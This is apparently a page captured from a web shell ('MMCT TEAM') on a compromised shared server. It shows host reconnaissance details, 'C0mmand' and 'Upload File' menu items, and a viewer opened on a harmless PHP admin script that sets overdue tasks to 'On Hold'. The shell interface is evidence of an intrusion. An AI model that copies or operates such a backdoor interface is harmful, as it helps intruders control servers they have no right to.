MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/public_html/rasi/../projects/config/../admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/public_html/rasi/../projects/config/../admin/auto_update_tasks.php
<?php
// This file runs automatically via AJAX every minute
session_start();

if (!isset($_SESSION['admin_id'])) {
    http_response_code(401);
    exit;
}

require_once '../config/config.php';
require_once '../config/db.php';

header('Content-Type: application/json');

try {
    // Auto-update tasks that passed deadline to "On Hold"
    $update_query = "UPDATE tbl_tasks 
                     SET status = 'On Hold', 
                         updated_at = NOW() 
                     WHERE deadline_date < CURDATE() 
                     AND status NOT IN ('Completed', 'On Hold')";
    
    mysqli_query($con, $update_query);
    
    $affected_rows = mysqli_affected_rows($con);
    
    echo json_encode([
        'success' => true,
        'updated_count' => $affected_rows,
        'timestamp' => date('Y-m-d H:i:s')
    ]);
    
} catch (Exception $e) {
    echo json_encode([
        'success' => false,
        'message' => $e->getMessage()
    ]);
}
?>

MMCT - 2023